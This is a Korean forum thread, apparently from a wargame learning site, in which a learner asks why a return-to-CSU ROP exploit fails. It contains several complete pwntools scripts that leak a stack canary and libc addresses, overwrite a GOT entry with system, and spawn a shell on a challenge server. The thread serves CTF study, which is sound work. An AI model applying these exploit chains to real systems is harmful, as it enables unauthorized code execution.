완료됨
Return to CSU 공부하는 중인데 왜 안되는지 모르겠습니다.
1 #!/usr/bin/python3
2
3 from pwn import *
4
5 p = remote("host3.dreamhack.games", 12729)
6 e = ELF("./rop")
7 lib = ELF("./libc-2.27.so")
8
9 puts_got = e.got["puts"]
10 read_got = e.got["read"]
11 csu_stage1 = 0x4007ea
12 csu_stage2 = 0x4007d0
13 bss = e.bss()
14
15 payload = b"A"*0x39
16 p.sendafter("Buf: ", payload)
17 p.recvuntil(payload)
18 canary = u64(b"\x00" + p.recvn(7))
19
20 payload = b"A"*0x38 + p64(canary) + b"B"*0x8
21 payload += p64(csu_stage1)
22 payload += p64(0)
23 payload += p64(1)
24 payload += p64(puts_got)
25 payload += p64(read_got)
26 payload += p64(0)
27 payload += p64(0)
28 payload += p64(csu_stage2)
29
30 payload += p64(0)
31 payload += p64(0)
32 payload += p64(1)
33 payload += p64(read_got)
34 payload += p64(0)
35 payload += p64(puts_got)
36 payload += p64(8)
37 payload += p64(csu_stage2)
38
39 payload += p64(0)
40 payload += p64(0)
41 payload += p64(1)
42 payload += p64(read_got)
43 payload += p64(0)
44 payload += p64(bss)
45 payload += p64(8)
46 payload += p64(csu_stage2)
47
48 payload += p64(0)
49 payload += p64(0)
50 payload += p64(1)
51 payload += p64(puts_got)
52 payload += p64(bss)
53 payload += p64(0)
54 payload += p64(0)
55 payload += p64(csu_stage2)
56
57 p.sendafter("Buf: ", payload)
58 read = u64(p.recvn(6) + b"\x00" * 2)
59 lib_base = read - lib.symbols["read"]
60 system = lib_base + lib.symbols["system"]
61
62 print("canary: ", hex(canary))
63 print("read: ", hex(read))
64 print("lib_base: ", hex(lib_base))
65 print("system: ", hex(system))
66
67 p.send(p64(system))
68 p.send(b"/bin/sh\x00")
69
70 p.interactive()
카나리 값, read() 주소, libc_base 주소, system 주소는 정상적으로 출력이 되는데 67번째 줄 bss
에 입력할 p.send(b"/bin/sh\x00")
에서 에러가 나옵니다. 왜 이럴까요??
#pwnable
작성자 정보
답변
5
ohohohohohohohohoh
질문 등록: 5
ohohohohohohohohoh
질문 등록: 5
입력을 다 받기전에 프로그램이 종료되는 것이 아닌지 확인해보셔요!
제가 보기에 페이로드는 문제없어보이는데
프로그램이 페이로드를 다 입력받을 수 있는지 보셔야될듯합니다.
1 #!/usr/bin/python3
2
3 from pwn import *
4
5 p = remote("host3.dreamhack.games", 23833)
6 e = ELF("./rop")
7 lib = ELF("./libc-2.27.so")
8
9 puts_got = e.got["puts"]
10 read_got = e.got["read"]
11 csu_stage1 = 0x4007ea
12 csu_stage2 = 0x4007d0
13 bss = e.bss()
14
15 payload = b"A"*0x39
16 p.sendafter("Buf: ", payload)
17 p.recvuntil(payload)
18 canary = u64(b"\x00" + p.recvn(7))
19
20 payload = b"A"*0x38 + p64(canary) + b"B"*0x8
21 payload += p64(csu_stage1)
22 payload += p64(0)
23 payload += p64(1)
24 payload += p64(puts_got)
25 payload += p64(read_got)
26 payload += p64(0)
27 payload += p64(0)
28 payload += p64(csu_stage2)
29
30 payload += p64(0)
31 payload += p64(0)
32 payload += p64(1)
33 payload += p64(read_got)
34 payload += p64(0)
35 payload += p64(bss)
36 payload += p64(8)
37 payload += p64(csu_stage2)
38
39 payload += p64(0)
40 payload += p64(0)
41 payload += p64(1)
42 payload += p64(read_got)
43 payload += p64(0)
44 payload += p64(read_got)
45 payload += p64(8)
46 payload += p64(csu_stage2)
47
48 payload += p64(0)
49 payload += p64(0)
50 payload += p64(1)
51 payload += p64(read_got)
52 payload += p64(bss)
53 payload += p64(0)
54 payload += p64(0)
55 payload += p64(csu_stage2)
56
57 p.sendafter("Buf: ", payload)
58 read = u64(p.recvn(6) + b"\x00" * 2)
59 lib_base = read - lib.symbols["read"]
60 system = lib_base + lib.symbols["system"]
61
62 print("canary: ", hex(canary))
63 print("read: ", hex(read))
64 print("lib_base: ", hex(lib_base))
65 print("system: ", hex(system))
66
67 p.send(b"/bin/sh\x00")
68 p.send(p64(system))
69
70 p.interactive()
본문의 코드와 바뀐 점은 read_got
에 system
을 덮기 전 먼저 bss
에 /bin/sh\x00
을 넣기 위해서 페이로드의 두 번째(30~37)와 세 번째(39~46) 문단의 위치, 67번째 줄과 68번째 줄의 p.send()
의 위치를 옮겼습니다. 이 상태에서 실행을 해보니까 똑같이 67번째 줄에서 에러가 발생하고 답변자님이 말씀하신 것처럼 파일이 종료 되는데 종료되는 이유를 알고싶습니다.....
제 로컬에서 쓴 코드입니다.
코드가 엄청 더럽지만, 참고용으로 올립니다.
사실 원가젯을 쓰면 되는지라 굳이 저렇게 돌아갈 필요는 없는데... 혹시나하여 ㅎㅎ
from pwn import *
p = process('./rop')
#p = remote('host3.dreamhack.games', 15638)
e = ELF('./rop')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#get canary
p.sendlineafter(b'Buf: ',b'A'*0x38)
p.recvuntil(b'Buf: ')
p.recv(0x39)
canary = b'\x00' + p.recv(7)
p.recvuntil(b'\n')
print(str('canary = '),hex(u64(canary)))
csu_1 = 0x4007ea #rbx ; rbp ; r12 ; r13 ; r14 ; r15 ; ret
csu_2 = 0x4007d0 #mov r15 rdx ; mov r14 rsi ; mov r13d edi ; call *(r12,rbx,8) ; add 1 rbx ; cmp rbx rbp ; jne ; add 8 rsp ; csu_1
puts_got = e.got['puts']
read_got = e.got['read']
bss = e.bss()
#leak read got address
pay = b''
pay += b'A'*0x38 #for buffer
pay += canary #for canary
pay += b'A'*8 #for sfp
pay += p64(csu_1) #for ret
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(puts_got) #r12 ==> call
pay += p64(read_got) #r13 ==> mov r13d edi. edi is ok because i just use 4 bytes for bss address
pay += p64(0) #r14 ==> rsi
pay += p64(0) #r15 ==> rdx
pay += p64(csu_2) #ret
#return to main
pay += p64(0) #padding for add 8 rsp
pay += p64(0) #rbx
pay += p64(0) #rbp
pay += p64(0) #r12 ==> call
pay += p64(0) #r13 ==> mov r13d edi. edi is ok because i just use 4 bytes for got address
pay += p64(0) #r14 ==> rsi
pay += p64(0) #r15 ==> rdx
pay += p64(e.symbols['main']) #ret
#send payload for get read got and write /bin/sh string in bss area
p.sendafter(b'Buf: ', pay)
libc_base = u64(p.recvline()[:-1] + b'\x00\x00') - lib.symbols['read']
system = libc_base + lib.symbols['system']
print(str('system address = '),hex(system))
pay = b''
pay += b'A'*0x38 #for buffer
pay += canary #for canary
pay += b'A'*8 #for sfp
pay += p64(csu_1) #for ret
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(read_got) #r12 ==> call
pay += p64(0) #r13 ==> mov r13d edi. arg0. edi is ok because i just use 4 bytes for bss address
pay += p64(bss+0x100) #r14 ==> rsi. arg1
pay += p64(0x10) #r15 ==> rdx. arg2
pay += p64(csu_2) #ret
pay += p64(0) #padding for add 8 rsp
pay += p64(0) #rbx
pay += p64(0) #rbp
pay += p64(bss+0x100) #r12 ==> call
pay += p64(bss+0x108) #r13 ==> mov r13d edi. edi is ok because i just use 4 bytes for got address
pay += p64(0) #r14 ==> rsi
pay += p64(0) #r15 ==> rdx
pay += p64(csu_2) #ret
p.sendafter(b'Buf: ', pay)
p.recvuntil(b'Buf: ')
p.send(b'\n')
p.send(p64(system) + b'/bin/sh\n')
p.interactive()
코드를 조금 변경해서 csu로 메모리 릭 -> 메인으로 리턴 -> 메인 리턴 주소에 원가젯 주소 사용하는 방식으로는 온라인에서 잘 풀립니다.